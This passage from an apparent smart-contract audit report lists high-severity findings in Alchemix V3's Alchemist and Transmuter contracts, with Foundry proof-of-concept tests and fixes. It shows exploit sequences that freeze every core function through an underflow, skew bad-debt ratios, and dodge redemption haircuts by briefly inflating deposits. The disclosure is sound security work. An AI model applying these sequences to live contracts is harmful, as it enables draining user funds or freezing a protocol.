        emit log_named_decimal_uint("earmarked", earmarked, 18);
    }
}
```

Console output and explanation.

```
[PASS] test_LiquidationIncreasesBadDebtRatio() (gas: 1177422)
Logs:
  totalUnderlyingValue: 186.915887850467289600
  totalSyntheticsIssued: 140.000000000000000000
  badDebtRatio: 0.749000000000000000 // bad debt ratio before liquidation
  totalUnderlyingValue: 126.999999999999999391
  totalSyntheticsIssued: 140.000000000000000000
  badDebtRatio: 1.102362204724409454 // bad debt ratio after liquidation
  alice position
  collateral: 35.889999999999999436 // alice didn't bring a bad debt to the protocol
  debt: 30.187850467289719135
  earmarked: 0.000000000000000000
  bob position
  collateral: 100.000000000000000000
  debt: 50.000000000000000000
  earmarked: 0.000000000000000000
```

Recommendation: A quick thought would be to calculate bad debt ratio by dividing total debt token issuance by yield token balance of Alchemix *and* Transmuter. But this calculation will underestimate bad debt ratio. Because when debt is repaid by yield token, `totalSyntheticsIssued` remains unchanged, while Transmuter + Alchemix balance increases by debt repayment.

3.1.9 Depositor can cease all alchemist operations under certain conditions

Submitted by rokinot, also found by sarosh, T1MOH, KupiaSec, ZoA, Ivan-Alexander, dash, CAUsr, 0xDeoGratias, KrisRenZo, danvinci, figtracer, montecristo, Rikard Hjort, Bigsam, 0xl33, ddatachick, Dimaranti, Dimaranti and Araj

Severity: High Risk

Context: AlchemistV3.sol#L488

Summary: Broken invariant allows for an attacker to prevent all functions from working.

Finding Description: All operations on the protocol rely on the well functioning of the _sync and _earmark functions, however, it's possible to cause the later to revert. The code snippet below is a chunk of _earmark, notice that there's an implicit invariant which is totalDebt will never be lower than cumulativeEarmarked or else this will revert:

```
if (amount > 0) {
    _earmarkWeight += PositionDecay.WeightIncrement(amount, totalDebt - cumulativeEarmarked);
    cumulativeEarmarked += amount;
}
```

When calling the burn function, the amount of funds to burn is capped by the difference between debt and earmark, preventing this bug from happening as `totalDebt` is appropriately decreased. This does

not happen in the repay function however, because it doesn't decrease the `cumulativeEarmark` under any conditions, and as a consequence, an user with sufficiently large debt can decrease the contract's `totalDebt` in `_subDebt`.

There are countless ways to trigger this state, I'll explain one here and another in the proof of concept.

Imagine an user A and B deposit and mint the same amount of debt, then user A sells some alTokens to an user C. The user C then calls createRedemption. User A calls repay with their total amount - 1, which first updates the state of transmutation through _earmark and _sync, then causes cumulativeEarmark to increase. Assume enough time passes so that the cumulative is ~80% of the totalDebt. User A calls repay for their whole amount. Now the totalDebt is half of what it was, which means, lower than the cumulativeEarmark. The end result is user B and C losing their funds.

As a result the code above will revert due to `underflow`, and `mint`, `mintFrom`, `burn`, `deposit`, `withdraw`, `repay`, `liquidate` and `poke` will stop working.

Impact Explanation: High, total freeze of the protocol state.

Likelihood Explanation: Medium, requires time and some special conditions.

Proof of Concept: This proof of concept shows a more simple scenario, short enough to illustrate the issue, where an user who is the first depositor creates a debt, creates a redemption, wait a few blocks and repays enough to leave `totalDebt` as dust, ending in `poke` reverting due to the underflow described above.

```
function testPoc_Invariant_TotalDebt_Vs_CumulativeEarmark_Broken_After_FullRepay() external {
    uint256 debtAmountToMint = 50e18; // 0xbeef mints 50 alToken
    uint256 transmuterRedemptionAmount = 30e18; // 0xdad creates redemption for 30 alToken

    vm.startPrank(address(0xbeef));
    uint256 yieldToDeposit = 100e18;
    uint256 yieldToRepayFullDebt = alchemist.convertDebtTokensToYield(debtAmountToMint);
    SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), type(uint256).max); // Approve for
    ↪  deposit and full repay
    alchemist.deposit(100e18, address(0xbeef), 0);
    uint256 tokenId = AlchemistNFTHelper.getFirstTokenId(address(0xbeef), address(alchemistNFT));

    alchemist.mint(tokenId, debtAmountToMint, address(0xbeef));
    vm.stopPrank();

    assertEq(alchemist.totalDebt(), debtAmountToMint, "Initial total debt mismatch");
    uint256 initialCumulativeEarmarked = alchemist.cumulativeEarmarked(); // Should be 0 if no prior activity

    // --- Setup: 0xdad creates redemption in Transmuter ---
    deal(address(alToken), address(0xdad), transmuterRedemptionAmount);
    vm.startPrank(address(0xdad));
    SafeERC20.safeApprove(address(alToken), address(transmuterLogic), type(uint256).max);
    transmuterLogic.createRedemption(transmuterRedemptionAmount);
    vm.stopPrank();

    // --- Advance time to allow earmarking ---
    vm.roll(block.number + 100); // Advance some blocks

    // --- 0xbeef fully repays debt ---
    vm.startPrank(address(0xbeef));
    uint256 preRepayBalance = fakeYieldToken.balanceOf(address(0xbeef));

    alchemist.repay(yieldToRepayFullDebt - 1, tokenId);
    vm.stopPrank();

    vm.roll(block.number + 1);

    vm.expectRevert(abi.encodeWithSelector(bytes4(keccak256("Panic(uint256)")), uint256(0x11)));
    alchemist.poke(tokenId); //underflow in _earmark
}
```

Recommendation: In `_subDebt`, cap the `cumulativeEarmarked` after the `totalDebt` is decreased.

```
// After totalDebt is reduced, ensure cumulativeEarmarked does not exceed it.
if (cumulativeEarmarked > totalDebt) {
    cumulativeEarmarked = totalDebt;
}
```

3.1.10 `badDebtRatio` is calculated after removing the yield token from `Alchemist`, making worse ratio is used for sent amount

Submitted by farismaulana, also found by kvar, Bigsam and pyk

Severity: High Risk

Context: Transmuter.sol#L236-L241

Summary: by first removing the yield token from `Alchemist` into `Transmuter` contract when redemption is claimed, the calculation of `badDebtRatio` would use the value of `Alchemist::getTotalUnderlyingValue` which is a post-transfer value after the amount transmuted equivalent to yield token amount get sent. This would penalize redemption as the correct way to calculate bad debt ratio is to account the full amount of underlying value, not after the redemption amount is deducted.

Finding Description: when global system experiencing bad debt, the claim collateral amount would get ratio'ed before it get sent into the user. But the flaw in the calculation would cause the user to receive less amount than what the actual ratio is.

This is because `badDebtRatio` is calculated after the yield token transfer, meaning that the ratio would use post-transfer value of underlying token, worsening the ratio used for user claimed redemption amount.

This is worsened by the fact that the redeem function would always try to redeem the full amount of transmuted amount, even though later this transmuted amount would be downscaled before sending into the user. effectively, this cause idle yield token balance inside `Transmuted` contract and not counted toward the `Alchemist::getTotalUnderlyingValue`.

Impact Explanation:

1. User would receive less amount than the intended ratio.
2. The leftover amount is idle in `Transmuter` contract, making the ratio calculation inaccurrate on top of the post-transfer value used.

Likelihood Explanation: only happen when global debt system is on bad debt terms.

Proof of Concept: first, modify the `src/Transmuter.sol` so it can log the actual badDebtRatio used by importing Test.sol, and inherit it for Transmuter contract:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.26;
// ...
import "forge-std/Test.sol";

/// @title AlchemixV3 Transmuter
///
/// @notice A contract which facilitates the exchange of alAssets to yield bearing assets.
contract Transmuter is ITransmuter, ERC721, Test {
```

inside the function `claimRedemption` add the following line so it would logs the badDebtRatio used:

```
    function claimRedemption(uint256 id) external {
// ...
        uint256 badDebtRatio = alchemist.totalSyntheticsIssued() *
        ↪  10**TokenUtils.expectDecimals(alchemist.yieldToken()) / alchemist.getTotalUnderlyingValue();
        console.log("[inside the function] bad debt ratio used is: ", badDebtRatio);

        if (badDebtRatio > 1e18) {
            claimAmount = claimAmount * FIXED_POINT_SCALAR / badDebtRatio;
            feeAmount = feeAmount * FIXED_POINT_SCALAR / badDebtRatio;
        }
```

then add the following test into `src/test/Alchemist.t.sol`:

```
function test_poc_badDebtRatioIncreaseFasterAtClaimRedemption() external {
    uint256 amount = 200_000e18; // 200,000 yudai
    vm.startPrank(someWhale);
    fakeYieldToken.mint(whaleSupply, someWhale);
    vm.stopPrank();

    vm.startPrank(address(0xbeef));
    SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), amount + 100e18);
    alchemist.deposit(amount, address(0xbeef), 0);
```

```
    // a single position nft would have been minted to 0xbeef
    uint256 tokenIdFor0xBeef = AlchemistNFTHelper.getFirstTokenId(address(0xbeef), address(alchemistNFT));
    alchemist.mint(tokenIdFor0xBeef, alchemist.totalValue(tokenIdFor0xBeef) * FIXED_POINT_SCALAR /
    ↪  minimumCollateralization, address(0xbeef));

    // 0xbeef transfer some synthetic to 0xdad
    uint256 amountToRedeem = 100_000e18;
    uint256 amountToRedeem2 = 10_000e18;
    alToken.transfer(address(0xdad), amountToRedeem + amountToRedeem2);
    vm.stopPrank();

    // 0xdad create redemption, here we create multiple redemptions to test the poc
    vm.startPrank(address(0xdad));
    SafeERC20.safeApprove(address(alToken), address(transmuterLogic), amountToRedeem + amountToRedeem2);
    transmuterLogic.createRedemption(amountToRedeem);
    transmuterLogic.createRedemption(amountToRedeem2);
    vm.stopPrank();

    // lets full mature the redemption
    vm.roll(block.number + (5_256_000)+1);

    // create global system bad debt
    // modify yield token price via modifying underlying token supply
    (uint256 prevCollateral, uint256 prevDebt,) = alchemist.getCDP(tokenIdFor0xBeef);
    // ensure initial debt is correct
    vm.assertApproxEqAbs(prevDebt, 180_000_000_000_000_000_018_000, minimumDepositOrWithdrawalLoss);

    uint256 initialVaultSupply = IERC20(address(fakeYieldToken)).totalSupply();
    fakeYieldToken.updateMockTokenSupply(initialVaultSupply);
    // increasing yeild token suppy by 12%  while keeping the unederlying supply unchanged
    uint256 modifiedVaultSupply = (initialVaultSupply * 1200 / 10_000) + initialVaultSupply;
    fakeYieldToken.updateMockTokenSupply(modifiedVaultSupply);

    for (uint256 i = 1; i <= 2; i++) {
        console.log("[*] redemption no: ", i);
        // calculate bad debt ratio
        uint256 currentBadDebt = alchemist.totalSyntheticsIssued() *
        ↪  10**TokenUtils.expectDecimals(alchemist.yieldToken()) / alchemist.getTotalUnderlyingValue();
        console.log("current bad debt ratio before redemption: ", currentBadDebt);

        // 0xdad claim redemption
        vm.startPrank(address(0xdad));
        transmuterLogic.claimRedemption(i);
        vm.stopPrank();

        // calculate bad debt ratio
        currentBadDebt = alchemist.totalSyntheticsIssued() *
        ↪  10**TokenUtils.expectDecimals(alchemist.yieldToken()) / alchemist.getTotalUnderlyingValue();
        console.log("current bad debt ratio after redemption: ", currentBadDebt);
    }
}
```

and then we can run the test by running `forge test --fork-url $MAINNET_API_KEY --fork-block-number 21835200 --mt test_poc_badDebtRatioIncreaseFasterAtClaimRedemption -vv`.

Output:

```
Ran 1 test for src/test/AlchemistV3.t.sol:AlchemistV3Test
[PASS] test_poc_badDebtRatioIncreaseFasterAtClaimRedemption() (gas: 2030994)
Logs:
  [*] redemption no:  1
  current bad debt ratio before redemption:  1008000000000000000
  [inside the function] bad debt ratio used is:  1018181818181818182
  current bad debt ratio after redemption:  1018181818181818182
  [*] redemption no:  2
  current bad debt ratio before redemption:  1018181818181818182
  [inside the function] bad debt ratio used is:  1020304568527918782
  current bad debt ratio after redemption:  1020304568527918782
```

the logs showing that the ratio used would always bigger than the current `badDebtRatio`, as we do two redemption where the first redemption should use `1008000000000000000` ratio but it instead use `1018181818181818182` as ratio which is worse. the same also happen for subsequent redemption claim.

Recommendation:

1. Calculate the current bad debt ratio before any transfer is done.
2. Then if it trigger bad debt ratio block (higher than 1e18), use the bad debt ratio to `redeem` the scaled down amount of yield token only, so the `Transmuter` dont redeem unnecessary amount of yield token that would create idle balance.
3. After that we can safely sent the scaled down amount to user.

3.1.11 The `totalSyntheticsIssued` is not updated in some cases in the `claimRedemption` causing bad debt

Submitted by TamayoNft, also found by 0xmechanic, LordAlive, phrax, lukaprini, kvar, Araj, tonips, KupiaSec, 0xTheBlackPanther, Rolando, 0xmechanic, 0xmechanic, CAUsr, 0xgh0st, 4mj3x, dash, patitonar, greg, Extra-Caterpillar, TheWeb3Mechanic, Dliteofficial, Dliteofficial, KrisRenZo, hrmneffdii, farismaulana, Nyxaris and montecristo

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Summary: The `claimRedemption` function in `Transmuter.sol` burns synthetic tokens but does not always call `AlchemistV3.redeem` when the Transmuter's yield token balance is sufficient, failing to update `totalSyntheticsIssued` in `AlchemistV3.sol`. This results in an overstatement of issued synthetic tokens, inflating the `badDebtRatio` calculation, reducing redemption payouts and protocol fees, and misrepresenting the protocol's debt state.

Finding Description: The `AlchemistV3.sol` contract tracks the total issued synthetic (debt) tokens in `totalSyntheticsIssued`, which is decremented in the burn and redeem functions:

```
function burn(uint256 amount, uint256 recipientId) external returns (uint256) {
    // ...

    uint256 credit = amount > debt ? debt : amount;

        // ...
    _subDebt(recipientId, credit);

    totalSyntheticsIssued -= credit;  <----

    emit Burn(msg.sender, credit, recipientId);

    return credit;
}
```

In `claimRedemption` function in the transmuter contract burns synthetic tokens (`TokenUtils.safeBurn(syntheticToken, amountTransmuted)`) but only calls `AlchemistV3.redeem` when the Transmuter yield token balance is insufficient:

```
function claimRedemption(uint256 id) external {
    // ...
    uint256 yieldTokenBalance = TokenUtils.safeBalanceOf(alchemist.yieldToken(), address(this));
    uint256 debtValue = alchemist.convertYieldTokensToDebt(yieldTokenBalance);
    uint256 amountToRedeem = amountTransmuted > debtValue ? amountTransmuted - debtValue : 0;
    if (amountToRedeem > 0) alchemist.redeem(amountToRedeem);

    // ...
    uint256 badDebtRatio = alchemist.totalSyntheticsIssued() * 10 **
    ↪  TokenUtils.expectDecimals(alchemist.yieldToken()) / alchemist.getTotalUnderlyingValue();  <-----

    if (badDebtRatio > 1e18) {
        claimAmount = claimAmount * FIXED_POINT_SCALAR / badDebtRatio;
        feeAmount = feeAmount * FIXED_POINT_SCALAR / badDebtRatio;
    }

        // ...

    // Burn remaining synths that were not returned
    TokenUtils.safeBurn(syntheticToken, amountTransmuted); <-----

    totalLocked -= position.amount;

    emit PositionClaimed(msg.sender, claimAmount, syntheticReturned);

    delete _positions[id];
}
```

The problem is that when `amountToRedeem == 0` (the Transmuter has enough yield tokens), `claimRedemption` burns `amountTransmuted` synthetic tokens without notifying `AlchemistV3`, leaving `totalSyntheticsIssued` unchanged. This overstates the issued synthetic tokens, affecting the `badDebtRatio` (see first arrow above) calculation in `claimRedemption`.

An inflated `badDebtRatio` reduces `claimAmount` (user payouts) and `feeAmount` (protocol revenue), unfairly penalizing users and misrepresenting the protocol's debt state.

Impact Explanation: The `totalSyntheticsIssued` is not properly updated when `claimRedemption` is called and there is enough yield tokens to pay the user. the not subtracted `totalSyntheticsIssued` will be acumuling bad debt in the transmuter leading to reducing payout to users and less fees to the protocol.

Proof of Concept: Run the next proof of concept in `AlchemistV3.t.sol`:

```
function testClaimRdemtionNotDebtTokensburned() external {
    //@audit medium 12
    vm.prank(alOwner);
    // 1%
    alchemist.setProtocolFee(100);

    uint256 amount = 100e18;

    vm.startPrank(address(0xbeef));
    SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), amount + 100e18);
    alchemist.deposit(amount, address(0xbeef), 0);
    // a single position nft would have been minted to 0xbeef
    uint256 tokenIdFor0xBeef = AlchemistNFTHelper.getFirstTokenId(address(0xbeef), address(alchemistNFT));
    alchemist.mint(tokenIdFor0xBeef, (amount / 2), address(0xbeef));
    vm.assertApproxEqAbs(IERC20(alToken).balanceOf(address(0xbeef)), (amount / 2),
    ↪  minimumDepositOrWithdrawalLoss);
    vm.stopPrank();

    vm.startPrank(externalUser);
    SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), amount + 100e18);
    alchemist.deposit(amount, externalUser, 0);
    // a single position nft would have been minted to 0xbeef
    uint256 tokenIdForExternalUser = AlchemistNFTHelper.getFirstTokenId(externalUser, address(alchemistNFT));
    alchemist.mint(tokenIdForExternalUser, (amount / 2), externalUser);
    vm.assertApproxEqAbs(IERC20(alToken).balanceOf(externalUser), (amount / 2), minimumDepositOrWithdrawalLoss);
    vm.stopPrank();

    vm.startPrank(address(0xdad));
    SafeERC20.safeApprove(address(alToken), address(transmuterLogic), 50e18);
    transmuterLogic.createRedemption(50e18);
```

```
    vm.stopPrank();

    vm.roll(block.number + 5_256_000 / 2);

    uint256 synctectiAssetBefore = alchemist.totalSyntheticsIssued();

    vm.startPrank(address(0xdad));
    fakeYieldToken.transfer(address(transmuterLogic),amount );// sending this directly to the transmuter to
    ↪  avoid the redeem function be called; this will happen naturalty in the protocol but for testing purpose
    ↪  do a transfer
    transmuterLogic.claimRedemption(1);
    vm.stopPrank();

    uint256 synctectiAssetAfter = alchemist.totalSyntheticsIssued();

    assertEq(synctectiAssetBefore, synctectiAssetAfter);
}
```

Recommendation: Consider properly update `totalSyntheticsIssued` in the `AlchemistV3.sol` contract when debt tokens are burned in the transmuter.

3.1.12 DoS through ancounting errors: `increment > total`

Submitted by Rikard Hjort, also found by 4mj3x, 0xaman, Cybrid, danvinci, rokinot, CAUsr, mahivasisth, serenity, pyk and 0x15

Severity: High Risk

Context: AlchemistV3.sol#L521, AlchemistV3.sol#L762, AlchemistV3.sol#L1013, PositionDecay.sol#L41

Summary: The Alchemist fails to consider yield tokens already in the Transmuter when calculating an updated earmark weight. This leads to an invariant being violated in `WeightIncrement()` and a shutdown of `_earmark()`, and thus all other core Alchemist functionality.

Finding Description: The Alchemist queries the Transmuter's staking graph to see how many tokens have been redeemed since the last earmark. Conceptually, it considers the repayment of *all* these tokens to be the responsibility of current debt holders. However, this is a mistake -- some of the debt may be "pre-redeemed" through `repay()` or `_forceRepay()`, even though no synthetic tokens are burned during these repayments. When some debt (beyond what is earmarked for the position) is repaid with yield tokens, a corresponding amount of claims should be considered immediately fulfilled, because the yield tokens to cover them will have moved to the transmuter, and the debt tokens for it will not need to be redeemed.

The same applies if yield tokens are, for some reason, deposited directly into the Transmuter. If that happens, there is no reason to consider all the claims in the Transmuter to be the responsibility of the Alchemist anymore, as some of them are already covered. This is conceptually the same as the total amount of claims in the Transmuter shrinking, e.g., through early claims.

That this is the intended behavior is already enshrined in the code by the assumption in `WeightIncrement()`: the call to `WeightIncrement()` in `_earmark()` assumes that `amount` (what claims have matured since the last earmark) must be greater than any remaining non-earmarked debt, i.e., `totalDebt - cumulativeEarmarked`. This would be true if repays only happened through burns, or funds were always pulled out of the Alchemist to pay all claims. However, the Transmuter will always first use any yield tokens it has on its own balance to pay for claims. Thus, conceptually, what the Alchemist owes is really `0 = (unclaimed mature claims in the transmuter) - (yield tokens in, denominated in debt tokens)`. To see why, consider what would happen if all claims were closed at once: the `0` expression is exactly what would be redeemed from the alchemist in this case.

The accounting error in itself would only mean that the Transmuter receives more funds than it should, which could be released through shortening the `timeToTransmute`, had it not been due to the logarithmic math and the necessary invariant check in `WeightIncrement()`, the violation of the invariant `amount > totalDebt - cumulativeEarmarked` results in a revert and a complete halt of the protocol.

Impact Explanation: If the invariant is violated, the Alchemist breaks in a deep way. All core functions, except depositing, of the Alchemist -- withdrawing collateral, minting and repaying debt, liquidating and redeeming -- all call `_earmark()`, which in turn calls `WeightIncrement()`. Further, the issue does not heal over time. It is not transient because it depends only on the monotonically increasing amount returned by the `queryGraph()` call between `lastEarmarkedBlock + 1` and `block.number`, and on the Alchemist state

variables `lastEarmarked`, `totalDebt`, and `cumulativeEarmarked`, all of which are only updated through one of the core functions.

Likelihood Explanation: The issue may happen organically through `repays()` and is especially likely if much time passes between earmarking operations. It becomes particularly likely in a bad debt scenario, where many large liquidations may happen and cause `_forceRepay()` to make large repayments, in which case the protocol freezing becomes even more catastrophic.

In a high-usage scenario, where earmarks happen frequently, it is unlikely for the full DoS to happen. However, the accounting error will still manifest and have already paid-off claims draw funds from the Transmuter.

Proof of Concept: Edit the first `requires()` clause in `PositionDecay.WeightIncrement()` so that it produces a catchable message:

```
require(increment <= total, "WeightIncrement: increment > total");
```

This is helpful to see that this exact invariant is being violated, and shows that the following test is not catching any other reverts. Add this test to `AlchemistV3.sol`:

```
function testCrashDueToWeightIncrementCheck() external {
    bytes memory expectedError = "WeightIncrement: increment > total";
    // 1. Create a position
    uint256 amount = 100e18;
    address user = address(0xbeef);
    vm.startPrank(user);
    SafeERC20.safeApprove(address(fakeYieldToken), address(alchemist), type(uint256).max);
    alchemist.deposit(amount, user, 0);
    uint256 tokenId = AlchemistNFTHelper.getFirstTokenId(user, address(alchemistNFT));
    uint256 borrowedAmount = amount / 2; // Arbitrary, can be fuzzed over.
    alchemist.mint(tokenId, borrowedAmount, user);
    vm.stopPrank();

    // 2. Create a redemption
    // This populates the queryGraph with values.
    // After timeToTransmute has passed, the amount to pull with earmarking
    vm.startPrank(address(0xdad));
    SafeERC20.safeApprove(address(alToken), address(transmuterLogic), borrowedAmount);
    transmuterLogic.createRedemption(borrowedAmount);
    vm.stopPrank();

    // 3. Repay any amount.
    // This sends yield tokens to the transmuter and reduces total debt.
    // It does not affect what is in the queryGraph.
    vm.startPrank(user);
    vm.roll(block.number + 1);
    alchemist.repay(1, tokenId);
    vm.stopPrank();

    // 4. Let the claim mature.
    vm.roll(block.number + 5_256_000);

    // The AlchemistV3 will now revert on _earmark(). This is because the amount since last redemption is
    ↪  greater than
    // the total debt - cumulativeEarmarked.
    // In other words, the Alchemist believes it owes the Transmuter the full amount that has matured since the
    ↪  last
    // redemption. But in fact, some of that debt has been repaid already.
    // Hence, in `WeightIncrement()` total-increment is negative, which is invalid.
    vm.startPrank(address(0xdad));
    vm.expectRevert(expectedError); transmuterLogic.claimRedemption(1);
    vm.stopPrank();

    // All regular Alchemist operations now revert.
    vm.startPrank(address(0xbeef));
    vm.expectRevert(expectedError); alchemist.poke(tokenId);
    vm.expectRevert(expectedError); alchemist.withdraw(1, user, tokenId);
    vm.expectRevert(expectedError); alchemist.mint(tokenId, 1, user);
    vm.expectRevert(expectedError); alchemist.repay(1, tokenId);
    vm.expectRevert(expectedError); alchemist.burn(1, tokenId);
    vm.expectRevert(expectedError); alchemist.liquidate(tokenId);
    vm.stopPrank();

    vm.expectRevert(expectedError);
```

```
    alchemist.getCDP(tokenId);
}
```

Recommendation: When earmarking, check how much the yield token balance has changed since the last earmark, and deduct this from the `amount` returned from the `queryGraph()` call. Note that this requires some new updates for edge cases: for example, `redeem()` may not be called during a claim in the current implementation if the claim can be made whole by only the yield token balance in the Transmuter. Make sure that during any claim, a call is made to the Alchemist to have it update its current stored Transmuter yield token balance. During earmarking, adjust the total earmarked up and down depending on what the Transmuter has available of its own funds to make claims whole.

3.1.13 Disrupted accounting and loss of funds whenever a redemption is made while transmuter holds `yieldToken`

Submitted by armormadeofwoe, also found by T1MOH, softdev323, Araj and pyk

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Summary: Redemptions while `Transmuter.sol` holds `yieldToken` suffer a flaw where the actual number of synthetics burned in `burnFrom` differ from the accounted burn in `redeem` causing artificial inflation of `totalSyntheticsIssued`.

Description: Both liquidations and alchemist repayments send yield tokens to the transmuter.

```
// liquidations
TokenUtils.safeTransfer(yieldToken, transmuter, adjustedDebtToBurn);
// repayments in `repay`
TokenUtils.safeTransferFrom(yieldToken, msg.sender, transmuter, creditToYield);
```

While claiming redemptions, this balance is checked and adjusted to redeem only a partial amount.

```
uint256 yieldTokenBalance = TokenUtils.safeBalanceOf(alchemist.yieldToken(), address(this));
uint256 debtValue = alchemist.convertYieldTokensToDebt(yieldTokenBalance);
uint256 amountToRedeem = amountTransmuted > debtValue ? amountTransmuted - debtValue : 0;
if (amountToRedeem > 0) alchemist.redeem(amountToRedeem);
```

Further below, the synths to be redeemed are burned via `safeBurn` for `amountTransmuted`.

```
TokenUtils.safeBurn(syntheticToken, amountTransmuted);
```

The issue is that the call to `alchemist.redeem` takes in `amountToRedeem` which is used to decrease `totalSyntheticsIssued` while the actual amount burnt uses `amountTransmuted`. To put it in perspective, a redemption for 1000 synths while there are 100 yield tokens in the transmuter will burn 1000 tokens but `totalSyntheticsIssued` will go down only by 900, inflating the variable permanently. This variable is used in the Transmuter to determine whether or not there is bad debt.

```
uint256 badDebtRatio = alchemist.totalSyntheticsIssued() *
↪  10**TokenUtils.expectDecimals(alchemist.yieldToken()) / alchemist.getTotalUnderlyingValue();
if (badDebtRatio > 1e18) {
    claimAmount = claimAmount * FIXED_POINT_SCALAR / badDebtRatio;
    feeAmount = feeAmount * FIXED_POINT_SCALAR / badDebtRatio;
}
```

At some point the variable will inflate so much that `badDebtRatio` will report false positive and will undermine redeemer's claim amount.

Impact: Broken accounting, loss of funds.

Recommendation: Non-trivial fix. Redemption logic should be overall revisited as any simple fix might introduce other issues.

3.1.14 Using `balanceOf` in `_getTotalUnderlyingValue` leads to accounting issues in `claimRedemption` and `liquidation`

Submitted by touthang, also found by falconhoof, Audinarey, CAUsr, ParthMandale, phrax, franfran20, T1MOH, onthehunt11, bratko, EddiePumpin, willycode20, hodldoorParaguay, ZoA, 0xpinkman, KupiaSec, KupiaSec, sil-

verologist, *4mj3x*, *Bigsam*, *armormadeofwoe*, *0x9527*, *0xrex*, *TheWeb3Mechanic*, *TamayoNft*, *4mj3x*, *Bigsam* and *farismaulana*

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Summary:

```
function _getTotalUnderlyingValue() internal view returns (uint256 totalUnderlyingValue) {
    uint256 yieldTokenTVL = IERC20(yieldToken).balanceOf(address(this));
    uint256 yieldTokenTVLInUnderlying = convertYieldTokensToUnderlying(yieldTokenTVL);
    totalUnderlyingValue = yieldTokenTVLInUnderlying;
}
```

This function uses `IERC20(yieldToken).balanceOf(address(this));` to calculate `totalUnderlyingValue`, which includes all Yeild tokens(directly sent, free colateral, and locked colateral). And this value is used by `claimRedemption` and `_liquidate`

Finding Description: The problem is when `claimRedemption` is executed and we check for `badDebtRatio`:

```
uint256 badDebtRatio = alchemist.totalSyntheticsIssued() *
↪  10**TokenUtils.expectDecimals(alchemist.yieldToken()) / alchemist.getTotalUnderlyingValue();

if (badDebtRatio > 1e18) {
    claimAmount = claimAmount * FIXED_POINT_SCALAR / badDebtRatio;
    feeAmount = feeAmount * FIXED_POINT_SCALAR / badDebtRatio;
}
```

we use `getTotalUnderlyingValue` which could be inflated temporarily by depositing into the Alchemist. This will allow redeemers to bypass the `claimAmount` deduction needed during bad debt.

`deposit` (increase totalUnderlying) → `redeem` (avoid bad debt) → `withdraw` deposited tokens back.

Another problem is, during `liquidate` we use `_getTotalUnderlyingValue` and use it in `calculateLiquidation`:

```
if (collateralizationRatio <= collateralizationLowerBound) {
    uint256 alchemistCurrentCollateralization = normalizeUnderlyingTokensToDebt(_getTotalUnderlyingValue()) *
    ↪  FIXED_POINT_SCALAR / totalDebt;

    (uint256 liquidationAmount, uint256 debtToBurn, uint256 baseFee) = calculateLiquidation(
        collateralInUnderlying, account.debt, minimumCollateralization, alchemistCurrentCollateralization,
        ↪  globalMinimumCollateralization, liquidatorFee
    );
```

`calculateLiquidation` uses this value to check

```
if (alchemistCurrentCollateralization < alchemistMinimumCollateralization) {
    // fully liquidate debt in high ltv global environment
    return (debt, debt, 0);
}
```

here this could allow positions to liquidate partially when they should be liquidate fully(if any Yeild tokens were sent). In both cases accounting is broken which will lead to incorrect redemption or liquidation which leads to incorrect amount redeemed or liquidated.

Impact Explanation: High, direct loss of funds since redeemer gets more than he is supposed to and the next redeemers bear the loss, or it could be user's collateral tokens that he is redeeming if he is the only redeemer.

Likelihood Explanation: High, although my proof of concept shows that the redeemer himself needs to deposit, in reality this could be someone else's deposit that is inflating the ratio.

Proof of Concept: Note: remove `initializer` from the AlchemistV3 constructor(for simple testing). Paste this file:

```
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.26;


import "lib/forge-std/src/Test.sol";
import "src/AlchemistV3.sol";
```

```
import "src/interfaces/IAlchemistV3.sol";
import "src/external/AlEth.sol";
import "lib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC4626.sol";
import "src/adapters/EulerUSDCAdapter.sol";
import "src/Transmuter.sol";
import "src/AlchemistV3Position.sol";


import "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
import "lib/openzeppelin-contracts/contracts/token/ERC20/extensions/ERC4626.sol";
contract MockERC20 is ERC20 {
    constructor(string memory name, string memory symbol) ERC20(name, symbol) {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }

    function burn(address from, uint256 amount) external {
        _burn(from, amount);
    }
}

contract MockERC4626 is ERC4626 {
    constructor(IERC20 asset, string memory name, string memory symbol) ERC4626(asset) ERC20(name, symbol) {}

    //note: for our liquidation test to decrease yeild token value
    function withdrawCustom(uint amount, address receiver) external {
        IERC20(asset()).transfer(receiver, amount);
    }

}




contract alchemistTest is Test {
    uint256 public constant FIXED_POINT_SCALAR = 1e18;
    uint256 public minimumCollateralization = 1.5e18; // 150%
    uint256 public liquidatorFeeBPS = 300;

    AlchemistV3 public alchemist;

    AlEth public alEth;
    MockERC20 public mockUnderlyingToken;
    MockERC4626 public mockYieldToken;
    EulerUSDCAdapter public tokenAdapter;
    Transmuter public transmuter;
    AlchemistV3Position public alchemistNFT;



    address public admin = makeAddr("adminAddr");

    address public protocolFeeReceiver = makeAddr("protocolFeeReceiverAddr");
    address public liquidator = makeAddr("liquidatorAddr");
    address public liquidatorFeeReceiver = makeAddr("liquidatorFeeReceiverAddr");


    function setUp() public {
        vm.startPrank(admin);
        alchemist = new AlchemistV3();
        alEth = new AlEth();
        alEth.setWhitelist(address(alchemist), true);

        mockUnderlyingToken = new MockERC20("Mock Underlying Token", "MUT");
        mockYieldToken = new MockERC4626(mockUnderlyingToken, "Mock Yield Token", "MYT");

        tokenAdapter = new EulerUSDCAdapter(address(mockYieldToken), address(mockUnderlyingToken));

        ITransmuter.TransmuterInitializationParams memory transParams =
        ↪  ITransmuter.TransmuterInitializationParams({
            syntheticToken: address(alEth),
            feeReceiver: address(this),
            timeToTransmute: 5_256_000,
```

```
        transmutationFee: 0, // fees 0 for now
        exitFee: 0,
        graphSize: 52_560_000
    });
    transmuter = new Transmuter(transParams);
    transmuter.setAlchemist(address(alchemist));
    transmuter.setDepositCap(1000000 ether);

    AlchemistInitializationParams memory params = AlchemistInitializationParams({
        admin: address(admin),
        debtToken: address(alEth),
        underlyingToken: address(mockUnderlyingToken),
        yieldToken: address(mockYieldToken),
        depositCap: type(uint256).max,
